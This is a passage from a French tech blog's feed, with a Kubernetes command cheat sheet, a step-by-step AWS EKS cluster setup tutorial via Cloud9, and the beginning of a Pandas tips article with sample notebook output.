</code></pre><p>Le port sera bindé sur <code>127.0.0.1</code>. Il est possible d&rsquo;ajouter le flag <code>--address 0.0.0.0</code>. (Attention à la sécurité)</p>
<br/>
<p><strong>Installer le dashboard k8s et y accéder</strong></p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml

kubectl proxy
</code></pre><br/>
<p>Maintenant rendez-vous à l&rsquo;adresse suivante:</p>
<p><code>http://localhost:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/#!/login</code></p>
<br/>
<p>Une mire d&rsquo;authentification va apparaitre pour se connecter au dashboard. Privilégier l&rsquo;authentification par token. Pour obtenir ce dernier utiliser les commandes suivantes:</p>
<pre tabindex="0"><code>TOKEN=$(kubectl describe secret $(kubectl get secrets | grep default | cut -f1 -d &#39; &#39;) | grep -E &#39;^token&#39; | cut -f2 -d&#39;:&#39; | tr -d &#39;\t&#39; | sed -e &#39;s/^[[:space:]]*//&#39;)

echo $TOKEN
</code></pre><br/>
<p><strong>Déployer un 1er service</strong></p>
<pre tabindex="0"><code>kubectl run hello-nginx --image=nginx --port=80
kubectl get pods
kubectl get deployments
kubectl expose deployment hello-nginx --type=NodePort
kubectl describe service hello-nginx
kubectl get services

NAME          TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
hello-nginx   NodePort    10.111.152.236   &lt;none&gt;        80:31256/TCP   58s
kubernetes    ClusterIP   10.96.0.1        &lt;none&gt;        443/TCP        46m
</code></pre><br/>
<p>Se rendre sur l&rsquo;URL suivante pour accéder au service Nginx (Nodeport):
<code>http://localhost:31256/</code></p>
<br/>
<p><strong>Prioriser des pods</strong></p>
<p>Récupérer le nom de la classe de prioritié</p>
<pre tabindex="0"><code>kubectl get priorityClass
</code></pre><p>Modifier le deployment et ajouter cette propriété:</p>
<pre tabindex="0"><code>[...]
spec:
    containers:
      - name: nimportequelleimage
        image: imagegeniale
    priorityClassName: priority-classname
[...]
</code></pre><p>Vérification:</p>
<pre tabindex="0"><code>kubectl get pods --all-namespaces -o custom-columns=NAME:.metadata.name,PRIORITY:.spec.priorityClassName
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p><strong>Voir les events et status des noeuds</strong></p>
<pre tabindex="0"><code>kubectl get events --sort-by=.metadata.creationTimestamp
kubectl describe nodes
</code></pre><br/>
<p><strong>Voir tous les events d&rsquo;un deployment</strong></p>
<pre tabindex="0"><code>kubectl get events --field-selector involvedObject.name=$DEPLOYMENT_NAME -n $NAMESPACE
</code></pre><br/>
<p><strong>Voir un &ldquo;disk pressure&rdquo;</strong></p>
<pre tabindex="0"><code>kubectl describe nodes 2&gt;&amp;1 | grep -i Disk
</code></pre><blockquote>
<p>Configurer le trigger diskPressure (et autres) sur le <a href="https://fr.wikipedia.org/wiki/Kubernetes#Kubelet">kubelet</a> (et donc les events pour &ldquo;evicter&rdquo; les pods) lors de l&rsquo;installation d&rsquo;un cluster k8s avec le flag <code>--eviction-hard&quot;: &quot;memory.available&lt;100Mi,nodefs.available&lt;10%,nodefs.inodesFree&lt;5%</code>. <a href="https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/">More here</a></p></blockquote>
<br/>
<p><strong>Voir la consommation cpu et memory des pods les plus gourmands</strong></p>
<pre tabindex="0"><code>kubectl top pods
</code></pre><br/>
<p><strong>Lister les containers par pods</strong></p>
<pre tabindex="0"><code>kubectl get pods --all-namespaces -o=jsonpath=&#39;{range .items[*]}{&#34;\n&#34;}{.metadata.name}{&#34;:\t&#34;}{range .spec.containers[*]}{.image}{&#34;, &#34;}{end}{end}&#39; |\
sort

# Pour un pod particulier, pour avoir les container names dans le pod, on peut aussi exécuter:
kubectl logs POD_NAME 
# S&#39;il y a plusieurs containers un message d&#39;erreur apparaîtra indiquant de selectionner un container --&gt; choose one of: [container-name-1 container-name-2]
</code></pre><br/>
<p><strong>Lister les containers par pods et les trier par AGE</strong></p>
<pre tabindex="0"><code>kubectl get po --sort-by=.status.startTime
</code></pre><br/>
<p><strong>Entrer dans un pod</strong></p>
<pre tabindex="0"><code>kubectl exec -it shell-demo -- /bin/bash
</code></pre><br/>
<p><strong>Effacer tous les pods avec le status Evicted</strong></p>
<pre tabindex="0"><code>kubectl get pods | grep Evicted | awk &#39;{print $1}&#39; | xargs kubectl delete pod
</code></pre><br/>
<p><strong>Vérifier que l&rsquo;ingress est fonctionnel (même sans CNAME)</strong></p>
<pre tabindex="0"><code>curl -k -H &#34;Host: blabla.leandeep.com&#34; https://public-dns.blabla.com
</code></pre><br/>
<h2 id="créer-un-single-node-cluster-avec-kubeadm-sur-ubuntu">Créer un Single node cluster avec kubeadm sur Ubuntu</h2>
<p><strong>Installer kubeadm</strong></p>
<pre tabindex="0"><code>apt-get update &amp;&amp; apt-get install -y apt-transport-https curl
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -
cat &lt;&lt;EOF &gt;/etc/apt/sources.list.d/kubernetes.list
deb https://apt.kubernetes.io/ kubernetes-xenial main
EOF
apt-get update
apt-get install -y kubelet kubeadm kubectl
apt-mark hold kubelet kubeadm kubectl
</code></pre><br/>
<p><strong>Déployer le single node cluster</strong></p>
<pre tabindex="0"><code>kubeadm init
# Puis suivre les informations qui apparaissent
</code></pre><br/>
<h2 id="effacement-du-cluster">Effacement du cluster</h2>
<pre tabindex="0"><code># Obtenir le nom du noeud
kubectl get nodes

# Drainer le noeud 
kubectl drain NOM_DU_NOEUD --delete-local-data --force --ignore-daemonsets

# On l&#39;efface
kubectl delete node NOM_DU_NOEUD

# On reset kubeadm
kubeadm reset

# Un reboot permet d&#39;effacer les interfaces réseaux en trop 
sudo reboot
</code></pre><br/>
<p><strong>Générer un secret TLS (simple sans root CA)</strong></p>
<p>Certificat simple pour &ldquo;pinnage&rdquo;:</p>
<pre tabindex="0"><code>openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ${KEY_FILE} -out ${CERT_FILE} -subj &#34;/CN=${HOST}/O=${HOST}&#34;
kubectl create secret tls ${CERT_NAME} --key ${KEY_FILE} --cert ${CERT_FILE}
</code></pre><br/>
<p><strong>Scaler UP or Down un deployment/statefulset</strong></p>
<blockquote>
<p>Pour restart un pod avec un PVC c&rsquo;est idéal. Fonctionne bcp mieux qu&rsquo;un <code>kubectl edit ...</code> avec modification du <code>replicas</code>.</p></blockquote>
<pre tabindex="0"><code>kubectl scale statefulset statefulset_name --replicas=0
kubectl scale statefulset statefulset_name --replicas=1
kubectl scale deployment deployment_name --replicas=0
kubectl scale deployment deployment_name --replicas=1
</code></pre><br/>
<p><strong>Restart de pod(s)</strong></p>
<pre tabindex="0"><code>kubectl rollout restart deployment deployment_name
</code></pre><br/>
<p><strong>Pod anti affinity</strong></p>
<p>Pour éviter un downtime si plusieurs pods se retrouvent sur un même node KO</p>
<p>Au niveau du Deployment, ajouter:</p>
<pre tabindex="0"><code>[...]
apiVersion: apps/v1
kind: Deployment
metadata:
  name: api-de-dingue
  labels:
    app: api
spec:
  replicas: 2
[...]
  spec:
    affinity:
      podAntiAffinity:
        requireDuringSchedulingIgnoredDuringExecution:
          - labelSelector:
            matchExpressions:
            - key: app
              operator: In
              values:
              - api
          topologyKey: &#34;kubernetes.io/hostname&#34;
    containers:
    [...]
</code></pre><blockquote>
<p>Plus d&rsquo;infos <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/">ici</a>:</p></blockquote>
<br/>
<p><strong>Liveness Probe sur job always running (no endpoint)</strong></p>
<pre tabindex="0"><code>apiVersion: apps/v1
kind: Deployment
metadata:
  name: job-de-dingue
  labels:
    app: job
spec:
  replicas: 1
[...]
  spec:
    containers:
      - name: my-job
        image: ...
        livenessProbe:
          exec:
            command:
              - /bin/bash
              - -c
              - |-
                if [ $(find /tmp/health -type f -mmin +5 | wc -l) -gt 0 ]; then exit 1; fi
          initialDelaySeconds: 60
          periodSeconds: 60
          timeoutSeconds: 5
        [...]
</code></pre><br/>
<h2 id="commandes-propres-à-eks-kubernetes-aws">Commandes propres à EKS (Kubernetes AWS)</h2>
<p><strong>Se connecter à son cluster EKS nouvellement créé</strong></p>
<pre tabindex="0"><code>aws --profile=&lt;profile-name&gt; eks update-kubeconfig --name &lt;cluster-name&gt;
export KUBECONFIG=~/.kube/config-&lt;of-your-cluster&gt;
</code></pre><br/>
<p><strong>Lister les clusters EKS</strong></p>
<pre tabindex="0"><code>aws eks list-clusters
</code></pre><br/>
<p><strong>Démarrer un pod Ubuntu pour debug</strong></p>
<blockquote>
<p>Pour tester le réseau, services&hellip;</p></blockquote>
<pre tabindex="0"><code>kubectl run -it --rm debug-pod --image=mcr.microsoft.com/aks/fundamental/base-ubuntu:v0.0.11
# apt install iputils-ping
</code></pre><br/>
<h2 id="commandes-propres-à-aks-kubernetes-azure-et-infos-utiles">Commandes propres à AKS (Kubernetes Azure) et infos utiles</h2>
<p><strong>Se connecter à son cluster AKS nouvellement créé</strong></p>
<pre tabindex="0"><code>az login

# Ajoute la conf du cluster dans le kube config
az aks get-credentials --resource-group NOM_DU_RESSOURCE_GROUPE --name NOM_DU_CLUSTER_K8S

# Vérification
kubectl config get-contexts
</code></pre><br/>
<p><strong>Regénérer un Service Principal</strong></p>
<pre tabindex="0"><code># Option 1
az ad sp create-for-rbac --skip-assignment
export RESOURCE_GROUP=...
export AKS_CLUSTER_NAME=...
export SERVICE_PRINCIPAL_ID=...
export SERVICE_PRINCIPAL_SECRET=...
az aks update-credentials \
    --resource-group $RESOURCE_GROUP \
    --name $AKS_CLUSTER_NAME \
    --reset-service-principal \
    --service-principal $SERVICE_PRINCIPAL_ID \
    --client-secret &#34;$SERVICE_PRINCIPAL_SECRET&#34;


# Option 2
SP_ID=$(az aks show --resource-group myResourceGroup --name myAKSCluster \
    --query servicePrincipalProfile.clientId -o tsv)

SP_SECRET=$(az ad sp credential reset --name $SP_ID --query password -o tsv)

az aks update-credentials --resource-group myResourceGroup --name myAKSCluster --reset-service-principal --service-principal $SP_ID --client-secret $SP_SECRET
</code></pre><br/>
<p><strong>Troubleshooting disk not seen in AKS node</strong></p>
<p>Ou resynchroniser AKS avec l&rsquo;état des diques montés dans la VM/ Node.</p>
<pre tabindex="0"><code>az vm update -g resource_group -n node_name
</code></pre><br/>
<p><strong>Vérifier si un Service Principal a expiré</strong></p>
<pre tabindex="0"><code>SP_ID=$(az aks show --resource-group myResourceGroup --name myAKSCluster \
    --query servicePrincipalProfile.clientId -o tsv)
az ad sp credential list --id $SP_ID --query &#34;[].endDate&#34; -o tsv
</code></pre><br/>
<p><strong>Les solutions des stockages persistentes sur AKS</strong></p>
<ul>
<li>
<p>Azure disk: <strong>Attention seulement ReadWriteOnce</strong></p>
</li>
<li>
<p>Azure files: ReadWriteMany mais attention aux performances</p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Provisionner un cluster Kubernetes avec AWS EKS</title>
            <link>https://leandeep.com/provisionner-un-cluster-kubernetes-avec-aws-eks/</link>
            <pubDate>Thu, 07 Mar 2019 21:28:00 +0000</pubDate>
            
            <guid>https://leandeep.com/provisionner-un-cluster-kubernetes-avec-aws-eks/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment provisionner un cluster simple Kubernetes via AWS EKS.
Nous verrons dans un prochain article comment mettre en place l&amp;rsquo;autoscaling et comment faire pour que les nouvelles instances automatiquement crées soient des instances Spot.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Compte AWS&lt;/li&gt;
&lt;li&gt;Utilisateur Admin (Policy AdministratorAccess dans IAM)&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-via-cloud9&#34;&gt;Installation via Cloud9&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Créer un nouveau workspace dans Cloud9 &amp;lt;nom_de_votre_projet&amp;gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;br/&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Depuis Cloud9, via le terminal générer une clé SSH&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh-keygen
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Uploader sa clé dans la région EC2&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;aws ec2 import-key-pair --key-name &amp;#34;&amp;lt;nom_de_votre_clé&amp;gt;&amp;#34; --public-key-material file://~/.ssh/id_rsa.pub
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Installer les outils Kubernetes&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Créer le répertoire ~/.kube par défaut pour stocker la configuration kubectl&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment provisionner un cluster simple Kubernetes via AWS EKS.
Nous verrons dans un prochain article comment mettre en place l&rsquo;autoscaling et comment faire pour que les nouvelles instances automatiquement crées soient des instances Spot.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>Compte AWS</li>
<li>Utilisateur Admin (Policy AdministratorAccess dans IAM)</li>
</ul>
<br/>
<h2 id="installation-via-cloud9">Installation via Cloud9</h2>
<ol>
<li>Créer un nouveau workspace dans Cloud9 &lt;nom_de_votre_projet&gt;</li>
</ol>
<br/>
<ol start="2">
<li>Depuis Cloud9, via le terminal générer une clé SSH</li>
</ol>
<pre tabindex="0"><code>ssh-keygen
</code></pre><br/>
<ol start="3">
<li>Uploader sa clé dans la région EC2</li>
</ol>
<pre tabindex="0"><code>aws ec2 import-key-pair --key-name &#34;&lt;nom_de_votre_clé&gt;&#34; --public-key-material file://~/.ssh/id_rsa.pub
</code></pre><br/>
<ol start="4">
<li>Installer les outils Kubernetes</li>
</ol>
<ul>
<li>
<p>Créer le répertoire ~/.kube par défaut pour stocker la configuration kubectl</p>
</li>
<li>
<p>Installer kubectl</p>
</li>
</ul>
<pre tabindex="0"><code>sudo curl --silent --location -o /usr/local/bin/kubectl &#34;https://amazon-eks.s3-us-west-2.amazonaws.com/1.11.5/2018-12-06/bin/linux/amd64/kubectl&#34;
sudo chmod +x /usr/local/bin/kubectl
</code></pre><ul>
<li>Installer AWS IAM Authenticator</li>
</ul>
<pre tabindex="0"><code>go get -u -v github.com/kubernetes-sigs/aws-iam-authenticator/cmd/aws-iam-authenticator
sudo mv ~/go/bin/aws-iam-authenticator /usr/local/bin/aws-iam-authenticator
</code></pre><ul>
<li>Vérifier les binaires</li>
</ul>
<pre tabindex="0"><code>kubectl version --short --client
aws-iam-authenticator help
</code></pre><ul>
<li>Installer JQ</li>
</ul>
<pre tabindex="0"><code>sudo yum -y install jq
</code></pre><br/>
<ol start="5">
<li>Créer un rôle IAM pour le workspace Cloud9</li>
</ol>
<ul>
<li>
<p>Cliquer sur le lien suivant pour créer un rôle IAM avec accès administator: <a href="https://console.aws.amazon.com/iam/home#/roles$new?step=review&amp;commonUseCase=EC2%2BEC2&amp;selectedUseCase=EC2&amp;policies=arn:aws:iam::aws:policy%2FAdministratorAccess">https://console.aws.amazon.com/iam/home#/roles$new?step=review&commonUseCase=EC2%2BEC2&selectedUseCase=EC2&policies=arn:aws:iam::aws:policy%2FAdministratorAccess</a></p>
</li>
<li>
<p>Vérifier que la police service AWS: ec2.amazonaws.com est bien sélectionnée et cliquer sur Next pour voir les permissions.</p>
</li>
<li>
<p>Vérifier qu&rsquo;AdministratorAccess est bien coché et cliquer sur Next.</p>
</li>
<li>
<p>Entrer &lt;nom_de_votre_projet&gt;-admin comme exemple de nom et cliquer sur Create Role.</p>
</li>
</ul>
<br/>
<ol start="6">
<li>Attacher le rôle IAM à votre workspace</li>
</ol>
<ul>
<li>
<p>Cliquer sur le lien suivant pour identifier votre instance Cloud9 EC2: <a href="https://console.aws.amazon.com/ec2/v2/home?#Instances:tag:Name=aws-cloud9-">https://console.aws.amazon.com/ec2/v2/home?#Instances:tag:Name=aws-cloud9-</a>&lt;nom_de_votre_projet&gt;*;sort=desc:launchTime</p>
</li>
<li>
<p>Selectionner votre instance et cliquer sur Actions / Instance Settings / Attach/Replace IAM Role</p>
</li>
<li>
<p>Sélectionner &lt;nom_de_votre_projet&gt;-admin dans la drop down IAM Role et cliquer sur Apply.</p>
</li>
</ul>
<br/>
<ol start="7">
<li>Mettre à jour les préférences IAM du workspace</li>
</ol>
<ul>
<li>
<p>Retourner dans votre workspace Cloud0 et lancer l&rsquo;onglet préférences en cliquant en haut à droite sur la roue crantée.</p>
</li>
<li>
<p>Sélectionner AWS SETTINGS</p>
</li>
<li>
<p>Décocher AWS managed temporary credentials</p>
</li>
<li>
<p>Fermer l&rsquo;onglet des préférences</p>
</li>
</ul>
<br/>
<ol start="8">
<li>Pour être certain que des credentials n&rsquo;ont pas déjà été mis en place, exécuter la commande suivante:</li>
</ol>
<pre tabindex="0"><code>rm -vf ${HOME}/.aws/credentials
</code></pre><br/>
<ol start="9">
<li>Configurer l&rsquo;AWS cli avec la région actuelle:</li>
</ol>
<pre tabindex="0"><code>export AWS_REGION=$(curl -s 169.254.169.254/latest/dynamic/instance-identity/document | jq -r &#39;.region&#39;)
echo &#34;export AWS_REGION=${AWS_REGION}&#34; &gt;&gt; ~/.bash_profile
aws configure set default.region ${AWS_REGION}
aws configure get default.region
</code></pre><br/>
<ol start="10">
<li>Valider le rôle IAM</li>
</ol>
<ul>
<li>
<p>On va utiliser la commande CLI GetCallerIdentity <a href="https://docs.aws.amazon.com/cli/latest/reference/sts/get-caller-identity.html">https://docs.aws.amazon.com/cli/latest/reference/sts/get-caller-identity.html</a> pour vérifier que Cloud9 utilise le bon rôle IAM.</p>
</li>
<li>
<p>On commence par récupérer le rôle IAM du CLI AWS.</p>
</li>
</ul>
<pre tabindex="0"><code>INSTANCE_PROFILE_NAME=`basename $(aws ec2 describe-instances --filters Name=tag:Name,Values=aws-cloud9-${C9_PROJECT}-${C9_PID} | jq -r &#39;.Reservations[0].Instances[0].IamInstanceProfile.Arn&#39; | awk -F &#34;/&#34; &#34;{print $2}&#34;)`
aws iam get-instance-profile --instance-profile-name $INSTANCE_PROFILE_NAME --query &#34;InstanceProfile.Roles[0].RoleName&#34; --output text
</code></pre><p>En sortie on doit obtenir ceci:</p>
<pre tabindex="0"><code>&lt;nom_de_votre_projet&gt;-admin
</code></pre><p>Comparer le résultat de cette commande avec celle-ci:</p>
<pre tabindex="0"><code>aws sts get-caller-identity
</code></pre><p>Si l&rsquo;ARN contient le rôle name comme ci-dessous, tout est bien configuré:</p>
<pre tabindex="0"><code>{
    &#34;Account&#34;: &#34;123456789012&#34;, 
    &#34;UserId&#34;: &#34;AROA1SAMPLEAWSIAMROLE:i-01234567890abcdef&#34;, 
    &#34;Arn&#34;: &#34;arn:aws:sts::123456789012:assumed-role/&lt;nom_de_votre_projet&gt;-admin/i-01234567890abcdef&#34;
}
</code></pre><br/>
<ol start="11">
<li>Installer le binaire <code>eksctl</code>:</li>
</ol>
<pre tabindex="0"><code>curl --silent --location &#34;https://github.com/weaveworks/eksctl/releases/download/latest_release/eksctl_$(uname -s)_amd64.tar.gz&#34; | tar xz -C /tmp

sudo mv -v /tmp/eksctl /usr/local/bin
</code></pre><p>Et vérifier que l&rsquo;installation est bonne via:</p>
<pre tabindex="0"><code>eksctl version
</code></pre><br/>
<ol start="12">
<li>Création du cluster</li>
</ol>
<pre tabindex="0"><code>eksctl create cluster --name=&lt;nom_de_votre_projet&gt;-eksctl --nodes=3 --node-ami=auto --region=${AWS_REGION}
</code></pre><br/>
<h2 id="vérifier-le-bon-fonctionnement-du-cluster">Vérifier le bon fonctionnement du cluster</h2>
<pre tabindex="0"><code>kubectl get nodes
</code></pre><br/>
<h2 id="déployer-le-dashboard-k8s-officiel">Déployer le dashboard k8s officiel</h2>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v1.10.1/src/deploy/recommended/kubernetes-dashboard.yaml
</code></pre><br/>
<ol start="15">
<li>Accéder au dashboard</li>
</ol>
<pre tabindex="0"><code>kubectl proxy --port=8080 --address=&#39;0.0.0.0&#39; --disable-filter=true &amp;
</code></pre><ul>
<li>
<p>Dans Cloud9, cliquer sur Tools / Preview / Preview Running Application. Positionnezvous à la fin de l&rsquo;URL et ajoutez:
/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/</p>
</li>
<li>
<p>Ouvrer un nouvel onglet et entrer la commande suivante pour obtenir un token:</p>
</li>
</ul>
<pre tabindex="0"><code>aws-iam-authenticator token -i &lt;nom_de_votre_projet&gt;-eksctl --token-only
</code></pre><ul>
<li>Enfin cliquer sur Sign In.</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Mastering Pandas</title>
            <link>https://leandeep.com/mastering-pandas/</link>
            <pubDate>Sat, 16 Feb 2019 13:47:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mastering-pandas/</guid>
            <description>&lt;p&gt;Cela fait pas mal de temps que j&amp;rsquo;utilise Pandas. Dans cet article je vais essayer de réunir et synthétiser tous les tips &amp;amp; tricks à savoir (comme si j&amp;rsquo;utilisais Jupyter Notebook).&lt;/p&gt;
&lt;p&gt;Voici la liste des tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduction à Pandas&lt;/li&gt;
&lt;li&gt;Lire des données tabulaires&lt;/li&gt;
&lt;li&gt;Sélectionner une série Pandas&lt;/li&gt;
&lt;li&gt;Parenthèses Pandas&lt;/li&gt;
&lt;li&gt;Renommer des colonnes&lt;/li&gt;
&lt;li&gt;Effacer une colonne&lt;/li&gt;
&lt;li&gt;Effacer toutes les colonnes sauf&lt;/li&gt;
&lt;li&gt;Trier&lt;/li&gt;
&lt;li&gt;Filtrer&lt;/li&gt;
&lt;li&gt;Filtres multi-critères&lt;/li&gt;
&lt;li&gt;Examiner un dataset&lt;/li&gt;
&lt;li&gt;Numéro, index et contenu de la ligne lors d&amp;rsquo;une itération&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;introduction-à-pandas&#34;&gt;Introduction à Pandas&lt;/h2&gt;
&lt;p&gt;C&amp;rsquo;est une librairie opensource d&amp;rsquo;analyse de données qui fourni des structures de données ainsi que des outils d&amp;rsquo;analyse faciles à utiliser.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cela fait pas mal de temps que j&rsquo;utilise Pandas. Dans cet article je vais essayer de réunir et synthétiser tous les tips &amp; tricks à savoir (comme si j&rsquo;utilisais Jupyter Notebook).</p>
<p>Voici la liste des tips:</p>
<ul>
<li>Introduction à Pandas</li>
<li>Lire des données tabulaires</li>
<li>Sélectionner une série Pandas</li>
<li>Parenthèses Pandas</li>
<li>Renommer des colonnes</li>
<li>Effacer une colonne</li>
<li>Effacer toutes les colonnes sauf</li>
<li>Trier</li>
<li>Filtrer</li>
<li>Filtres multi-critères</li>
<li>Examiner un dataset</li>
<li>Numéro, index et contenu de la ligne lors d&rsquo;une itération</li>
</ul>
<br/>
<h2 id="introduction-à-pandas">Introduction à Pandas</h2>
<p>C&rsquo;est une librairie opensource d&rsquo;analyse de données qui fourni des structures de données ainsi que des outils d&rsquo;analyse faciles à utiliser.</p>
<p>Ses avantages sont:</p>
<ul>
<li>Un grand nombre de fonctionnalités</li>
<li>Une communauté active</li>
<li>Documentation bien faite</li>
<li>S&rsquo;associe bien avec d&rsquo;autres packages connus
<ul>
<li>construit au-dessus de Numpy</li>
<li>s&rsquo;utilise facilement avec Scikit-learn</li>
</ul>
</li>
</ul>
<p>Lien vers la documentation officielle: <a href="http://pandas.pydata.org/">http://pandas.pydata.org/</a></p>
<br/>
<h2 id="lire-des-données-tabulaires">Lire des données tabulaires</h2>
<p><em>Lire des fichiers de données tabulaires dans Pandas</em></p>
<br/>
<p><strong>Example de fichiers de données:</strong></p>
<ul>
<li>CSV</li>
<li>Excel</li>
<li>Table-like data format</li>
</ul>
<pre tabindex="0"><code># import pandas
import pandas as pd
</code></pre><pre tabindex="0"><code># reading a well-formatted .tsv file
url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/chipotle.tsv&#39;
orders = pd.read_table(url)
orders.head()
</code></pre><p><img src="/images/pandas-1.png" alt="image"></p>
<br/>
<p><strong>Fonctionnement par default de read_table:</strong></p>
<ul>
<li>Le fichier à charger doit contenir des tabs entre les colonnes</li>
<li>Présence d&rsquo;un header</li>
</ul>
<pre tabindex="0"><code>url2 = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/u.user&#39;
users = pd.read_table(url2)
users.head()
</code></pre><p><img src="/images/pandas-2.png" alt="image"></p>
<br/>
<p><strong>Problème:</strong></p>
<ul>
<li>Le sepérateur entre les colonnes est le caractère <code>&quot;|&quot;</code>. Il faut donc le spécifier à Pandas avec le paramètre <code>sep=</code></li>
<li>Il n&rsquo;y a pas de header. Il faut donc le spécifier en passant le paramètre <code>header=None</code>. On peut aussi ajouter une ligne pour les noms des colonnes en utilisant le paramètre <code>names=user_cols</code></li>
</ul>
<pre tabindex="0"><code>user_cols = [&#39;user_id&#39;, &#39;age&#39;, &#39;gender&#39;, &#39;occupation&#39;, &#39;zip_code&#39;]
users = pd.read_table(url2, sep=&#39;|&#39;, header=None, names=user_cols)
users.head()
</code></pre><p><img src="/images/pandas-3.png" alt="image"></p>
<br/>
<p><strong>Note:</strong></p>
<p>Si vous avez un fichier contenant du texte en haut ou en bas vous pouvez utiliser les paramètres suivants: <code>skiprows=None</code> ou <code>skipfooter=None</code>.</p>
<p>Lien vers la documentation de read_table: <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_table.html">http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_table.html</a></p>
<br/>
<h2 id="sélectionner-une-série-pandas">Sélectionner une série Pandas</h2>
<p><em>Sélectionner une série Pandas à partir d&rsquo;un dataframe</em></p>
<br/>
<p><strong>Qu&rsquo;est-ce qu&rsquo;une série ?</strong></p>
<ul>
<li>c&rsquo;est un vecteur m x 1
<ul>
<li>m est le nombre de lignes</li>
<li>1 le nombre de colonne</li>
</ul>
</li>
<li>Chaque colonne d&rsquo;un dataframe Pandas est une série</li>
</ul>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code># The csv file is separated by commas
url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/ufo.csv&#39;

# method 1: read_table
ufo = pd.read_table(url, sep=&#39;,&#39;)

# method 2: read_csv
# this is a short-cut here using read_csv because it uses comma as the default separator
ufo = pd.read_csv(url)
ufo.head()
</code></pre><p><img src="/images/pandas-4.png" alt="image"></p>
<pre tabindex="0"><code># Method 1: Selecting City series (this will always work)
ufo[&#39;City&#39;]

# Method 2: Selecting City series
ufo.City

# &#39;City&#39; is case-sensitive, you cannot use &#39;city&#39;
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0                      Ithaca
1                 Willingboro
2                     Holyoke
3                     Abilene
4        New York Worlds Fair
5                 Valley City
6                 Crater Lake
7                        Alma
8                     Eklutna
9                     Hubbard
10                    Fontana
11                   Waterloo
12                     Belton
13                     Keokuk
14                  Ludington
15                Forest Home
16                Los Angeles
17                  Hapeville
18                     Oneida
19                 Bering Sea
20                   Nebraska
21                        NaN
22                        NaN
23                  Owensboro
24                 Wilderness
25                  San Diego
26                 Wilderness
27                     Clovis
28                 Los Alamos
29               Ft. Duschene
                 ...         
18211                 Holyoke
18212                  Carson
18213                Pasadena
18214                  Austin
18215                El Campo
18216            Garden Grove
18217           Berthoud Pass
18218              Sisterdale
18219            Garden Grove
18220             Shasta Lake
18221                Franklin
18222          Albrightsville
18223              Greenville
18224                 Eufaula
18225             Simi Valley
18226           San Francisco
18227           San Francisco
18228              Kingsville
18229                 Chicago
18230             Pismo Beach
18231             Pismo Beach
18232                    Lodi
18233               Anchorage
18234                Capitola
18235          Fountain Hills
18236              Grant Park
18237             Spirit Lake
18238             Eagle River
18239             Eagle River
18240                    Ybor
Name: City, dtype: object
</code></pre><pre tabindex="0"><code># confirm type
type(ufo[&#39;City&#39;])
type(ufo.City)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>pandas.core.series.Series
</code></pre><br/>
<p><strong>Comment sélectionner une colonne qui contient des espaces ?</strong></p>
<ul>
<li>Il n&rsquo;est pas possible d&rsquo;utiliser la méthode 2  <code>ufo.category_name</code></li>
<li>Il faut utiliser la méthode 1 <code>ufo['category name']</code></li>
</ul>
<pre tabindex="0"><code>ufo[&#39;Colors Reported&#39;]
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0           NaN
1           NaN
2           NaN
3           NaN
4           NaN
5           NaN
6           NaN
7           NaN
8           NaN
9           NaN
10          NaN
11          NaN
12          RED
13          NaN
14          NaN
15          NaN
16          NaN
17          NaN
18          NaN
19          RED
20          NaN
21          NaN
22          NaN
23          NaN
24          NaN
25          NaN
26          NaN
27          NaN
28          NaN
29          NaN
          ...  
18211       NaN
18212       NaN
18213     GREEN
18214       NaN
18215       NaN
18216    ORANGE
18217       NaN
18218       NaN
18219       NaN
18220      BLUE
18221       NaN
18222       NaN
18223       NaN
18224       NaN
18225       NaN
18226       NaN
18227       NaN
18228       NaN
18229       NaN
